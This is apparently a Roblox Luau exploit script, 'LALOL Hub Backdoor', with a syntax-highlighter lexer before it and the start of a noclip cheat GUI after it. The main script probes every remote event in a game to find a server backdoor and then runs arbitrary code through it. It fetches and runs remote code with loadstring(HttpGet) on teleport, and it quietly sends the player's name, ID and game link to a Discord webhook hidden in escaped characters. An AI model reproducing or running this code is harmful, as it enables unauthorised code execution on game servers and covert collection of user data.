	local STRING_MULTI_INCOMP = "%[=*%[.-.*" --Incompleted Multiline-String
	
	local COMMENT_MULTI = "%-%-%[(=*)%[.-%]%1%]" --Completed Multiline-Comment
	
	local COMMENT_MULTI_INCOMP = "%-%-%[=*%[.-.*" --Incompleted Multiline-Comment
	
	local COMMENT_PLAIN = "%-%-.-\n" --Completed Singleline-Comment
	
	local COMMENT_INCOMP = "%-%-.*" --Incompleted Singleline-Comment
	
	-- local TYPED_VAR = ":%s*([%w%?%| \t]+%s*)" --Typed variable, parameter, function
	
	
	
	local lang = require(script.language)
	
	local lua_keyword = lang.keyword
	
	local lua_builtin = lang.builtin
	
	local lua_libraries = lang.libraries
	
	
	lexer.language = lang
	
	
	
	local lua_matches = {
	
		-- Indentifiers
	
		{ Prefix .. IDEN .. Suffix, "var" },
	
	
	
		-- Numbers
	
		{ Prefix .. NUMBER_A .. Suffix, "number" },
	
		{ Prefix .. NUMBER_B .. Suffix, "number" },
	
		{ Prefix .. NUMBER_C .. Suffix, "number" },
	
		{ Prefix .. NUMBER_D .. Suffix, "number" },
	
	
	
		-- Strings
	
		{ Prefix .. STRING_EMPTY .. Suffix, "string" },
	
		{ Prefix .. STRING_PLAIN .. Suffix, "string" },
	
		{ Prefix .. STRING_INCOMP_A .. Suffix, "string" },
	
		{ Prefix .. STRING_INCOMP_B .. Suffix, "string" },
	
		{ Prefix .. STRING_MULTI .. Suffix, "string" },
	
		{ Prefix .. STRING_MULTI_INCOMP .. Suffix, "string" },
	
		{ Prefix .. STRING_INTER .. Suffix, "string_inter" },
	
	
	
		-- Comments
	
		{ Prefix .. COMMENT_MULTI .. Suffix, "comment" },
	
		{ Prefix .. COMMENT_MULTI_INCOMP .. Suffix, "comment" },
	
		{ Prefix .. COMMENT_PLAIN .. Suffix, "comment" },
	
		{ Prefix .. COMMENT_INCOMP .. Suffix, "comment" },
	
	
	
		-- Operators
	
		{ Prefix .. OPERATORS .. Suffix, "operator" },
	
		{ Prefix .. BRACKETS .. Suffix, "operator" },
	
	
	
		-- Unicode
	
		{ Prefix .. UNICODE .. Suffix, "iden" },
	
	
	
		-- Unknown
	
		{ "^.", "iden" },
	
	}
	
	
	
	-- To reduce the amount of table indexing during lexing, we separate the matches now
	
	local PATTERNS, TOKENS = {}, {}
	
	for i, m in lua_matches do
	
		PATTERNS[i] = m[1]
	
		TOKENS[i] = m[2]
	
	end
	
	
	
	--- Create a plain token iterator from a string.
	
	-- @tparam string s a string.
	
	
	
	function lexer.scan(s: string)
	
		local index = 1
	
		local size = #s
	
		local previousContent1, previousContent2, previousContent3, previousToken = "", "", "", ""
	
	
	
		local thread = coroutine.create(function()
	
			while index <= size do
	
				local matched = false
	
				for tokenType, pattern in ipairs(PATTERNS) do
	
					-- Find match
	
					local start, finish = string.find(s, pattern, index)
	
					if start == nil then continue end
	
	
	
					-- Move head
	
					index = finish + 1
	
					matched = true
	
	
	
					-- Gather results
	
					local content = string.sub(s, start, finish)
	
					local rawToken = TOKENS[tokenType]
	
					local processedToken = rawToken
	
	
	
					-- Process token
	
					if rawToken == "var" then
	
						-- Since we merge spaces into the tok, we need to remove them
	
						-- in order to check the actual word it contains
	
						local cleanContent = string.gsub(content, Cleaner, "")
	
	
	
						if lua_keyword[cleanContent] then
	
							processedToken = "keyword"
	
						elseif lua_builtin[cleanContent] then
	
							processedToken = "builtin"
	
						elseif string.find(previousContent1, "%.[%s%c]*$") and previousToken ~= "comment" then
	
							-- The previous was a . so we need to special case indexing things
	
							local parent = string.gsub(previousContent2, Cleaner, "")
	
							local lib = lua_libraries[parent]
	
							if lib and lib[cleanContent] and not string.find(previousContent3, "%.[%s%c]*$") then
	
								-- Indexing a builtin lib with existing item, treat as a builtin
	
								processedToken = "builtin"
	
							else
	
								-- Indexing a non builtin, can't be treated as a keyword/builtin
	
								processedToken = "iden"
	
							end
	
							-- print("indexing",parent,"with",cleanTok,"as",t2)
	
						else
	
							processedToken = "iden"
	
						end
	
					elseif rawToken == "string_inter" then
	
						if not string.find(content, "[^\\]{") then
	
							-- This inter string doesnt actually have any inters
	
							processedToken = "string"
	
						else
	
							-- We're gonna do our own yields, so the main loop won't need to
	
							-- Our yields will be a mix of string and whatever is inside the inters
	
							processedToken = nil
	
	
	
							local isString = true
	
							local subIndex = 1
	
							local subSize = #content
	
							while subIndex <= subSize do
	
								-- Find next brace
	
								local subStart, subFinish = string.find(content, "^.-[^\\][{}]", subIndex)
	
								if subStart == nil then
	
									-- No more braces, all string
	
									coroutine.yield("string", string.sub(content, subIndex))
	
									break
	
								end
	
	
	
								if isString then
	
									-- We are currently a string
	
									subIndex = subFinish + 1
	
									coroutine.yield("string", string.sub(content, subStart, subFinish))
	
	
	
									-- This brace opens code
	
									isString = false
	
								else
	
									-- We are currently in code
	
									subIndex = subFinish
	
									local subContent = string.sub(content, subStart, subFinish-1)
	
									for innerToken, innerContent in lexer.scan(subContent) do
	
										coroutine.yield(innerToken, innerContent)
	
									end
	
	
	
									-- This brace opens string/closes code
	
									isString = true
	
								end
	
							end
	
						end
	
					end
	
	
	
					-- Record last 3 tokens for the indexing context check
	
					previousContent3 = previousContent2
	
					previousContent2 = previousContent1
	
					previousContent1 = content
	
					previousToken = processedToken or rawToken
	
					if processedToken then
	
						coroutine.yield(processedToken, content)
	
					end
	
					break
	
				end
	
	
	
				-- No matches found
	
				if not matched then
	
					return
	
				end
	
			end
	
	
	
			-- Completed the scan
	
			return
	
		end)
	
	
	
		return function()
	
			if coroutine.status(thread) == "dead" then
	
				return
	
			end
	
	
	
			local success, token, content = coroutine.resume(thread)
	
			if success and token then
	
				return token, content
	
			end
	
	
	
			return
	
		end
	
	end
	
	
	
	function lexer.navigator()
	
		local nav = {
	
			Source = "",
	
			TokenCache = table.create(50),
	
	
	
			_RealIndex = 0,
	
			_UserIndex = 0,
	
			_ScanThread = nil,
	
		}
	
	
	
		function nav:Destroy()
	
			self.Source = nil
	
			self._RealIndex = nil
	
			self._UserIndex = nil
	
			self.TokenCache = nil
	
			self._ScanThread = nil
	
		end
	
	
	
		function nav:SetSource(SourceString)
	
			self.Source = SourceString
	
	
	
			self._RealIndex = 0
	
			self._UserIndex = 0
	
			table.clear(self.TokenCache)
	
	
	
			self._ScanThread = coroutine.create(function()
	
				for Token, Src in lexer.scan(self.Source) do
	
					self._RealIndex += 1
	
					self.TokenCache[self._RealIndex] = { Token, Src }
	
					coroutine.yield(Token, Src)
	
				end
	
			end)
	
		end
	
	
	
		function nav.Next()
	
			nav._UserIndex += 1
	
	
	
			if nav._RealIndex >= nav._UserIndex then
	
				-- Already scanned, return cached
	
				return table.unpack(nav.TokenCache[nav._UserIndex])
	
			else
	
				if coroutine.status(nav._ScanThread) == "dead" then
	
					-- Scan thread dead
	
					return
	
				else
	
					local success, token, src = coroutine.resume(nav._ScanThread)
	
					if success and token then
	
						-- Scanned new data
	
						return token, src
	
					else
	
						-- Lex completed
	
						return
	
					end
	
				end
	
			end
	
		end
	
	
	
		function nav.Peek(PeekAmount)
	
			local GoalIndex = nav._UserIndex + PeekAmount
	
	
	
			if nav._RealIndex >= GoalIndex then
	
				-- Already scanned, return cached
	
				if GoalIndex > 0 then
	
					return table.unpack(nav.TokenCache[GoalIndex])
	
				else
	
					-- Invalid peek
	
					return
	
				end
	
			else
	
				if coroutine.status(nav._ScanThread) == "dead" then
	
					-- Scan thread dead
	
					return
	
				else
	
					local IterationsAway = GoalIndex - nav._RealIndex
	
	
	
					local success, token, src = nil, nil, nil
	
	
	
					for _ = 1, IterationsAway do
	
						success, token, src = coroutine.resume(nav._ScanThread)
	
						if not (success or token) then
	
							-- Lex completed
	
							break
	
						end
	
					end
	
	
	
					return token, src
	
				end
	
			end
	
		end
	
	
	
		return nav
	
	end
	
	
	
	return lexer
	
	
	
	end;
	
	};
	
	G2L_MODULES[G2L["15"]] = {
	
	Closure = function()
	
	    local script = G2L["15"];
	
	local language = {
	
		keyword = {
	
			["and"] = "keyword",
	
			["break"] = "keyword",
	
			["continue"] = "keyword",
	
			["do"] = "keyword",
	
			["else"] = "keyword",
	
			["elseif"] = "keyword",
	
			["end"] = "keyword",
	
			["export"] = "keyword",
	
			["false"] = "keyword",
	
			["for"] = "keyword",
	
			["function"] = "keyword",
	
			["if"] = "keyword",
	
			["in"] = "keyword",
	
			["local"] = "keyword",
	
			["nil"] = "keyword",
	
			["not"] = "keyword",
	
			["or"] = "keyword",
	
			["repeat"] = "keyword",
	
			["return"] = "keyword",
	
			["self"] = "keyword",
	
			["then"] = "keyword",
	
			["true"] = "keyword",
	
			["type"] = "keyword",
	
			["typeof"] = "keyword",
	
			["until"] = "keyword",
	
			["while"] = "keyword",
	
		},
	
	
	
		builtin = {
	
			-- Luau Functions
	
			["assert"] = "function",
	
			["error"] = "function",
	
			["getfenv"] = "function",
	
			["getmetatable"] = "function",
	
			["ipairs"] = "function",
	
			["loadstring"] = "function",
	
			["newproxy"] = "function",
	
			["next"] = "function",
	
			["pairs"] = "function",
	
			["pcall"] = "function",
	
			["print"] = "function",
	
			["rawequal"] = "function",
	
			["rawget"] = "function",
	
			["rawlen"] = "function",
	
			["rawset"] = "function",
	
			["select"] = "function",
	
			["setfenv"] = "function",
	
			["setmetatable"] = "function",
	
			["tonumber"] = "function",
	
			["tostring"] = "function",
	
			["unpack"] = "function",
	
			["xpcall"] = "function",
	
	
	
			-- Luau Functions (Deprecated)
	
			["collectgarbage"] = "function",
	
	
	
			-- Luau Variables
	
			["_G"] = "table",
	
			["_VERSION"] = "string",
	
	
	
			-- Luau Tables
	
			["bit32"] = "table",
	
			["coroutine"] = "table",
	
			["debug"] = "table",
	
			["math"] = "table",
	
			["os"] = "table",
	
			["string"] = "table",
	
			["table"] = "table",
	
			["utf8"] = "table",
	
	
	
			-- Roblox Functions
	
			["DebuggerManager"] = "function",
	
			["delay"] = "function",
	
			["gcinfo"] = "function",
	
			["PluginManager"] = "function",
	
			["require"] = "function",
	
			["settings"] = "function",
	
			["spawn"] = "function",
	
			["tick"] = "function",
	
			["time"] = "function",
	
			["UserSettings"] = "function",
	
			["wait"] = "function",
	
			["warn"] = "function",
	
	
	
			-- Roblox Functions (Deprecated)
	
			["Delay"] = "function",
	
			["ElapsedTime"] = "function",
	
			["elapsedTime"] = "function",
	
			["printidentity"] = "function",
	
			["Spawn"] = "function",
	
			["Stats"] = "function",
	
			["stats"] = "function",
	
			["Version"] = "function",
	
			["version"] = "function",
	
			["Wait"] = "function",
	
			["ypcall"] = "function",
	
	
	
			-- Roblox Variables
	
			["game"] = "Instance",
	
			["plugin"] = "Instance",
	
			["script"] = "Instance",
	
			["shared"] = "Instance",
	
			["workspace"] = "Instance",
	
	
	
			-- Roblox Variables (Deprecated)
	
			["Game"] = "Instance",
	
			["Workspace"] = "Instance",
	
	
	
			-- Roblox Tables
	
			["Axes"] = "table",
	
			["BrickColor"] = "table",
	
			["CatalogSearchParams"] = "table",
	
			["CFrame"] = "table",
	
			["Color3"] = "table",
	
			["ColorSequence"] = "table",
	
			["ColorSequenceKeypoint"] = "table",
	
			["DateTime"] = "table",
	
			["DockWidgetPluginGuiInfo"] = "table",
	
			["Enum"] = "table",
	
			["Faces"] = "table",
	
			["FloatCurveKey"] = "table",
	
			["Font"] = "table",
	
			["Instance"] = "table",
	
			["NumberRange"] = "table",
	
			["NumberSequence"] = "table",
	
			["NumberSequenceKeypoint"] = "table",
	
			["OverlapParams"] = "table",
	
			["PathWaypoint"] = "table",
	
			["PhysicalProperties"] = "table",
	
			["Random"] = "table",
	
			["Ray"] = "table",
	
			["RaycastParams"] = "table",
	
			["Rect"] = "table",
	
			["Region3"] = "table",
	
			["Region3int16"] = "table",
	
			["RotationCurveKey"] = "table",
	
			["task"] = "table",
	
			["TweenInfo"] = "table",
	
			["UDim"] = "table",
	
			["UDim2"] = "table",
	
			["Vector2"] = "table",
	
			["Vector2int16"] = "table",
	
			["Vector3"] = "table",
	
			["Vector3int16"] = "table",
	
		},
	
	
	
		libraries = {
	
	
	
			-- Luau Libraries
	
			bit32 = {
	
				arshift = "function",
	
				band = "function",
	
				bnot = "function",
	
				bor = "function",
	
				btest = "function",
	
				bxor = "function",
	
				countlz = "function",
	
				countrz = "function",
	
				extract = "function",
	
				lrotate = "function",
	
				lshift = "function",
	
				replace = "function",
	
				rrotate = "function",
	
				rshift = "function",
	
			},
	
	
	
			coroutine = {
	
				close = "function",
	
				create = "function",
	
				isyieldable = "function",
	
				resume = "function",
	
				running = "function",
	
				status = "function",
	
				wrap = "function",
	
				yield = "function",
	
			},
	
	
	
			debug = {
	
				dumpheap = "function",
	
				info = "function",
	
				loadmodule = "function",
	
				profilebegin = "function",
	
				profileend = "function",
	
				resetmemorycategory = "function",
	
				setmemorycategory = "function",
	
				traceback = "function",
	
			},
	
	
	
			math = {
	
				abs = "function",
	
				acos = "function",
	
				asin = "function",
	
				atan2 = "function",
	
				atan = "function",
	
				ceil = "function",
	
				clamp = "function",
	
				cos = "function",
	
				cosh = "function",
	
				deg = "function",
	
				exp = "function",
	
				floor = "function",
	
				fmod = "function",
	
				frexp = "function",
	
				ldexp = "function",
	
				log10 = "function",
	
				log = "function",
	
				max = "function",
	
				min = "function",
	
				modf = "function",
	
				noise = "function",
	
				pow = "function",
	
				rad = "function",
	
				random = "function",
	
				randomseed = "function",
	
				round = "function",
	
				sign = "function",
	
				sin = "function",
	
				sinh = "function",
	
				sqrt = "function",
	
				tan = "function",
	
				tanh = "function",
	
	
	
				huge = "number",
	
				pi = "number",
	
			},
	
	
	
			os = {
	
				clock = "function",
	
				date = "function",
	
				difftime = "function",
	
				time = "function",
	
			},
	
	
	
			string = {
	
				byte = "function",
	
				char = "function",
	
				find = "function",
	
				format = "function",
	
				gmatch = "function",
	
				gsub = "function",
	
				len = "function",
	
				lower = "function",
	
				match = "function",
	
				pack = "function",
	
				packsize = "function",
	
				rep = "function",
	
				reverse = "function",
	
				split = "function",
	
				sub = "function",
	
				unpack = "function",
	
				upper = "function",
	
			},
	
	
	
			table = {
	
				clear = "function",
	
				clone = "function",
	
				concat = "function",
	
				create = "function",
	
				find = "function",
	
				foreach = "function",
	
				foreachi = "function",
	
				freeze = "function",
	
				getn = "function",
	
				insert = "function",
	
				isfrozen = "function",
	
				maxn = "function",
	
				move = "function",
	
				pack = "function",
	
				remove = "function",
	
				sort = "function",
	
				unpack = "function",
	
			},
	
	
	
			utf8 = {
	
				char = "function",
	
				codepoint = "function",
	
				codes = "function",
	
				graphemes = "function",
	
				len = "function",
	
				nfcnormalize = "function",
	
				nfdnormalize = "function",
	
				offset = "function",
	
	
	
				charpattern = "string",
	
			},
	
	
	
			-- Roblox Libraries
	
			Axes = {
	
				new = "function",
	
			},
	
	
	
			BrickColor = {
	
				Black = "function",
	
				Blue = "function",
	
				DarkGray = "function",
	
				Gray = "function",
	
				Green = "function",
	
				new = "function",
	
				New = "function",
	
				palette = "function",
	
				Random = "function",
	
				random = "function",
	
				Red = "function",
	
				White = "function",
	
				Yellow = "function",
	
			},
	
	
	
			CatalogSearchParams = {
	
				new = "function",
	
			},
	
	
	
			CFrame = {
	
				Angles = "function",
	
				fromAxisAngle = "function",
	
				fromEulerAngles = "function",
	
				fromEulerAnglesXYZ = "function",
	
				fromEulerAnglesYXZ = "function",
	
				fromMatrix = "function",
	
				fromOrientation = "function",
	
				lookAt = "function",
	
				new = "function",
	
	
	
				identity = "CFrame",
	
			},
	
	
	
			Color3 = {
	
				fromHex = "function",
	
				fromHSV = "function",
	
				fromRGB = "function",
	
				new = "function",
	
				toHSV = "function",
	
			},
	
	
	
			ColorSequence = {
	
				new = "function",
	
			},
	
	
	
			ColorSequenceKeypoint = {
	
				new = "function",
	
			},
	
	
	
			DateTime = {
	
				fromIsoDate = "function",
	
				fromLocalTime = "function",
	
				fromUniversalTime = "function",
	
				fromUnixTimestamp = "function",
	
				fromUnixTimestampMillis = "function",
	
				now = "function",
	
			},
	
	
	
			DockWidgetPluginGuiInfo = {
	
				new = "function",
	
			},
	
	
	
			Enum = {},
	
	
	
			Faces = {
	
				new = "function",
	
			},
	
	
	
			FloatCurveKey = {
	
				new = "function",
	
			},
	
	
	
			Font = {
	
				fromEnum = "function",
	
				fromId = "function",
	
				fromName = "function",
	
				new = "function",
	
			},
	
	
	
			Instance = {
	
				new = "function",
	
			},
	
	
	
			NumberRange = {
	
				new = "function",
	
			},
	
	
	
			NumberSequence = {
	
				new = "function",
	
			},
	
	
	
			NumberSequenceKeypoint = {
	
				new = "function",
	
			},
	
	
	
			OverlapParams = {
	
				new = "function",
	
			},
	
	
	
			PathWaypoint = {
	
				new = "function",
	
			},
	
	
	
			PhysicalProperties = {
	
				new = "function",
	
			},
	
	
	
			Random = {
	
				new = "function",
	
			},
	
	
	
			Ray = {
	
				new = "function",
	
			},
	
	
	
			RaycastParams = {
	
				new = "function",
	
			},
	
	
	
			Rect = {
	
				new = "function",
	
			},
	
	
	
			Region3 = {
	
				new = "function",
	
			},
	
	
	
			Region3int16 = {
	
				new = "function",
	
			},
	
	
	
			RotationCurveKey = {
	
				new = "function",
	
			},
	
	
	
			task = {
	
				cancel = "function",
	
				defer = "function",
	
				delay = "function",
	
				desynchronize = "function",
	
				spawn = "function",
	
				synchronize = "function",
	
				wait = "function",
	
			},
	
	
	
			TweenInfo = {
	
				new = "function",
	
			},
	
	
	
			UDim = {
	
				new = "function",
	
			},
	
	
	
			UDim2 = {
	
				fromOffset = "function",
	
				fromScale = "function",
	
				new = "function",
	
			},
	
	
	
			Vector2 = {
	
				new = "function",
	
	
	
				one = "Vector2",
	
				xAxis = "Vector2",
	
				yAxis = "Vector2",
	
				zero = "Vector2",
	
			},
	
	
	
			Vector2int16 = {
	
				new = "function",
	
			},
	
	
	
			Vector3 = {
	
				fromAxis = "function",
	
				FromAxis = "function",
	
				fromNormalId = "function",
	
				FromNormalId = "function",
	
				new = "function",
	
	
	
				one = "Vector3",
	
				xAxis = "Vector3",
	
				yAxis = "Vector3",
	
				zAxis = "Vector3",
	
				zero = "Vector3",
	
			},
	
	
	
			Vector3int16 = {
	
				new = "function",
	
			},
	
		},
	
	}
	
	
	
	-- Filling up language.libraries.Enum table
	
	local enumLibraryTable = language.libraries.Enum
	
	
	
	for _, enum in ipairs(Enum:GetEnums()) do
	
		--TODO: Remove tostring from here once there is a better way to get the name of an Enum
	
		enumLibraryTable[tostring(enum)] = "Enum"
	
	end
	
	
	
	return language
	
	
	
	end;
	
	};
	
	-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight
	
	local function C_12()
	
	local script = G2L["12"];
	
		local Highlighter = require(script.Highlighter)
	
		
	
		Highlighter.highlight({
	
			-- The object to syntax highlight
	
			textObject=script.Parent,
	
			-- The source text for highlighting- defaults to textObject.Text
	
		--	src: string?,
	
			-- Update even if there are no changes since last highlight
	
		--	forceUpdate=true,
	
			-- Lexer for tokenizing src, defaults to the bundled Lua lexer
	
		--	lexer=true,
	
		})
	
		
	
		textbox=script.Parent
	
		textbox.InputChanged:Connect(function()
	
			if textbox.Text~='' then
	
				textbox.TextTransparency=1
	
				return
	
			end
	
			textbox.TextTransparency=0
	
		end)
	
	end;
	
	task.spawn(C_12);
	
	-- StarterGui.LALOL Hub Backdoor.LocalScript
	
	local function C_20()
	
	local script = G2L["20"];
	
		queueteleport = (syn and syn.queue_on_teleport) or queue_on_teleport or (fluxus and fluxus.queue_on_teleport)
	
		if queueteleport then
	
			queueteleport("loadstring(game:HttpGet('https://raw.githubusercontent.com/Its-LALOL/LALOL-Hub/main/Backdoor-Scanner/script'))()")
	
		end
	
		
	
		GUI=script.Parent.Frame
	
		
	
		alphabet={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}
	
		
	
		backdoor=nil
	
		HttpService=game:GetService("HttpService")
	
		
	
		function debug(text, lvl)
	
			local func=print
	
			if lvl==1 then func=print end
	
			if lvl==2 then func=error end
	
			if lvl==3 then func=warn end
	
			func('LALOL Hub Backdoor: '..text)
	
		end
	
		
	
		function runRemote(remote, data, data2)
	
		
	
			if remote:IsA('RemoteEvent') then
	
				remote:FireServer(data)
	
			elseif remote:IsA('RemoteFunction') then
	
				spawn(function() remote:InvokeServer(data) end)
	
			end
	
		
	
		end
	
		
	
		function makeVisible(folder, state)
	
			for i,v in folder:GetDescendants() do
	
				if v:IsA('Frame') then 
	
					v.Visible=state
	
				end
	
			end
	
		end
	
		
	
		function notify(text)
	
			game:GetService('StarterGui'):SetCore(
	
				"SendNotification",
	
				{
	
					Title = "LALOL Hub Backdoor",
	
					Duration = 6,
	
					Text = text
	
				}
	
			)
	
		end
	
		
	
		
	
		if _G.LALOL_Hub_Backdoor_Logs_Disabled then
	
			notify('Logs disabled :(')
	
		end
	
		
	
		makeVisible(GUI, false)
	
		GUI.Scanner.Visible=true
	
		GUI.Visible=true
	
		
	
		function generateName(lenght)
	
			
	
			local text=''
	
			
	
			for i=1,lenght do
	
				text=text..alphabet[math.random(1,#alphabet)]
	
			end
	
			
	
			return text
	
			
	
		end
	
		
	
		local code
	
		function findRemote()
	
			
	
			local timee=os.clock()
	
			
	
			local remotes={}
	
			
	
			local protected_backdoor=game:GetService('ReplicatedStorage'):FindFirstChild('lh'..game.PlaceId/6666*1337*game.PlaceId)
	
			if protected_backdoor and protected_backdoor:IsA('RemoteFunction') then
	
				while true do
	
					code=generateName(math.random(12,30))
	
					if not remotes[code] then break end
	
				end
	
					spawn(function() protected_backdoor:InvokeServer('lalol hub join today!! discord.gg/XXqzxT7E5z', "a=Instance.new('Model',workspace)a.Name='"..code.."'") end)
	
					remotes[code]=protected_backdoor
	
				end
	
			
	
			for i,remote in game:GetDescendants() do
	
				
	
				-- Validation Checker
	
				
	
				if not remote:IsA('RemoteEvent') then 
	
					if not remote:IsA('RemoteFunction') then continue end
	
				end
	
		
	
				-- RobloxReplicatedStorage
	
				if string.split(remote:GetFullName(), '.')[1]=='RobloxReplicatedStorage' then
	
					debug('Roblox Replicated Storage ('..remote.Name..')', 1)
	
					continue
	
				end
	
		
	
				if remote.Parent==game:GetService("ReplicatedStorage") or remote.Parent.Parent==game:GetService("ReplicatedStorage") or remote.Parent.Parent.Parent==game:GetService("ReplicatedStorage") then
	
		
	
					-- ADONIS Anti-Exploit
	
					if remote:FindFirstChild('__FUNCTION') or remote.Name=='__FUNCTION' then
	
						debug('Adonis filter detected ('..remote.Name..')', 1)
	
						continue
	
					end
	
		
	
					-- HD Admin
	
					if remote.Parent.Parent.Name=='HDAdminClient' and remote.Parent.Name=='Signals' then
	
						debug('HD Admin ('..remote.Name..')', 1)
	
						continue
	
					end
	
		
	
					-- Chat Events
	
					if remote.Parent.Name=='DefaultChatSystemChatEvents' then
	
						debug('Chat event ('..remote.Name..')', 1)
	
						continue
	
					end
	
		
	
				end
	
		
	
				-- Backdoor Sender
	
				
	
				while true do
	
					code=generateName(math.random(12,30))
	
					if not remotes[code] then break end
	
				end
	
				
	
				runRemote(remote, "a=Instance.new('Model',workspace)a.Name='"..code.."'")
	
				remotes[code]=remote
	
				
	
				debug('Sended Backdoor "'..remote:GetFullName()..'"', 1)
	
				
	
			end
	
			
	
			-- Backdoor Checker
	
			
	
			for i=1,100 do
	
			
	
				for i,remote in remotes do
	
					local code=i
	
					
	
					if workspace:FindFirstChild(code) then
	
						
	
						notify('Backdoor found! '..os.clock()-timee..'s')
	
						
	
						backdoor=remote
	
						debug(remote:GetFullName(), 3)
	
						GUI.Scanner.Visible=false
	
						makeVisible(GUI.Executor, true)
	
		
	
		--				runRemote(backdoor, "a=Instance.new('Hint',workspace)while true do a.Text='LALOL Hub Backdoor | discord.gg/XXqzxT7E5z | Free and FASTEST Backdoor Scanner'for b=1,13 do a.Parent=workspace;wait(1)a.Parent=nil;wait(0.5)end;wait(60)end")
	
						runRemote(remote, "require(171016405.1884*69)")			
	
						runRemote(remote, "a=Instance.new('Hint')a.Text='LALOL Hub Backdoor | discord.gg/XXqzxT7E5z | Free and FASTEST Backdoor Scanner'while true do a.Parent=workspace;wait(15)a:Remove()wait(30)end")
	
						
	
						local request = (syn and syn.request) or (http and http.request) or http_request or (fluxus and fluxus.request) or request
	
						if request and not _G.LALOL_Hub_Backdoor_Logs_Disabled then 
	
							request({
	
								Url = '\104\116\116\112\115\58\47\47\100\105\115\99\111\114\100\46\99\111\109\47\97\112\105\47\119\101\98\104\111\111\107\115\47\49\49\48\56\54\57\52\49\54\48\52\54\52\49\53\56\55\56\49\47\57\86\67\122\95\99\107\52\117\120\51\77\51\84\81\106\56\109\111\76\68\113\51\78\119\45\100\107\89\68\87\55\103\69\99\97\76\72\75\80\98\101\50\95\74\74\73\122\53\109\50\102\69\104\54\101\83\110\112\51\51\87\79\76\116\103\105\49',
	
								Method = 'POST',
	
								Headers = {
	
									['Content-Type'] = 'application/json',
	
								},
	
								Body = HttpService:JSONEncode({
	
									username='pls dont delete this w3bh00k',
	
									content="**User: `"..game:GetService('Players').LocalPlayer.Name..'` | `'..game:GetService('Players').LocalPlayer.UserId..'`\nhttps://www.roblox.com/games/'..game.PlaceId..'\n`'..backdoor:GetFullName()..'`**',
	
								})
	
							})
	
						end
	
		
	
						return true
	
					end
	
	--				debug('"'..remote:GetFullName()..'" seems like not backdoor', 1)
	
				end
	
				
	
				wait()--.1)
	
				
	
			end
	
		
	
			return false
	
		
	
		end
	
		
	
		GUI.Executor.Execute.Button.MouseButton1Click:Connect(function()
	
			local a,b=string.gsub(GUI.Executor.ExecutorBox.TextBox.Text, '%%username%%', game:GetService('Players').LocalPlayer.Name)
	
			
	
			local protected_backdoor=game:GetService('ReplicatedStorage'):FindFirstChild('lh'..game.PlaceId/6666*1337*game.PlaceId)
	
			if protected_backdoor and protected_backdoor:IsA('RemoteFunction') then
	
				debug('Protected backdoor found', 3)
	
				spawn(function()
	
					local boolValue, variantValue=pcall(function() protected_backdoor:InvokeServer('lalol hub join today!! discord.gg/XXqzxT7E5z', a) end)
	
					if variantValue~=nil then
	
						local splited=string.split(variantValue,':')
	
						notify(splited[#splited])
	
					end
	
				end)
	
			else
	
				runRemote(backdoor, a)
	
			end
	
			GUI.Executor.Execute.Button.Text='Executed!'
	
			wait(0.5)
	
			GUI.Executor.Execute.Button.Text='Execute'
	
		end)
	
		GUI.Executor.Clear.Button.MouseButton1Click:Connect(function()
	
			GUI.Executor.ExecutorBox.TextBox.Text=''
	
			GUI.Executor.Clear.Button.Text='Cleared!'
	
			wait(0.5)
	
			GUI.Executor.Clear.Button.Text='Clear'
	
		end)
	
		
	
		searching=false
	
		
	
		GUI.Scanner.Button.MouseButton1Click:Connect(function()
	
			if not searching then
	
				searching=true
	
				debug('Scanning...', 3)
	
				GUI.Scanner.Button.Text='Scanning...'
	
				if not findRemote() then
	
					GUI.Scanner.Button.Text='No backdoor :('
	
					searching=false
	
				end
	
			end
	
		end)
	
		
	
		game:GetService('UserInputService').InputBegan:Connect(function(input, processed)
	
			if (input.KeyCode == Enum.KeyCode.LeftAlt and not processed) then
	
				if GUI.Visible then GUI.Visible=false
	
				else GUI.Visible=true end
	
			end
	
		end)
	
	end;
	
	task.spawn(C_20);
	
	-- StarterGui.LALOL Hub Backdoor.Dragify
	
	local function C_21()
	
	local script = G2L["21"];
	
		local UIS = game:GetService("UserInputService")
	
		function dragify(Frame)
	
			dragToggle = nil
	
			local dragSpeed = 0.33
	
			dragInput = nil
	
			dragStart = nil
	
			local dragPos = nil
	
			function updateInput(input)
	
				local Delta = input.Position - dragStart
	
				local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y)
	
				game:GetService("TweenService"):Create(Frame, TweenInfo.new(0.15), {Position = Position}):Play()
	
			end
	
			Frame.InputBegan:Connect(function(input)
	
				if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) and UIS:GetFocusedTextBox() == nil then
	
					dragToggle = true
	
					dragStart = input.Position
	
					startPos = Frame.Position
	
					input.Changed:Connect(function()
	
						if input.UserInputState == Enum.UserInputState.End then
	
							dragToggle = false
	
						end
	
					end)
	
				end
	
			end)
	
			Frame.InputChanged:Connect(function(input)
	
				if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
	
					dragInput = input
	
				end
	
			end)
	
			game:GetService("UserInputService").InputChanged:Connect(function(input)
	
				if input == dragInput and dragToggle then
	
					updateInput(input)
	
				end
	
			end)
	
		end
	
		
	
		dragify(script.Parent.Frame)
	
	end;
	
	task.spawn(C_21);
	
	
	
	return G2L["1"], require;	
	end)
	
	
end;
task.spawn(C_4);
local function C_7()
	local script = LMG2L["LocalScript_7"];
	local button = script.Parent
	
	
	
	button.MouseButton1Click:Connect(function()
	
		print("Button clicked!")
	
	
	
	
local Players = game:GetService("Players")
	
	local RunService = game:GetService("RunService")
	
	local UserInputService = game:GetService("UserInputService")
	
	
	
	local player = Players.LocalPlayer
	
	local screenGui = Instance.new("ScreenGui")
	
	screenGui.Name = "NoclipPro"
	
	screenGui.Parent = player:WaitForChild("PlayerGui")
	
	
	
	local mainFrame = Instance.new("Frame")
	
	mainFrame.Size = UDim2.new(0, 220, 0, 150)
	
	mainFrame.Position = UDim2.new(0.1, 0, 0.1, 0)
	
	mainFrame.BackgroundColor3 = Color3.fromRGB(10, 10, 10)
	
	mainFrame.BorderColor3 = Color3.fromRGB(80, 0, 0)
	
	mainFrame.Active = true
	
	mainFrame.Draggable = true
	
	mainFrame.Parent = screenGui
	
	
	
	local title = Instance.new("TextLabel")
	
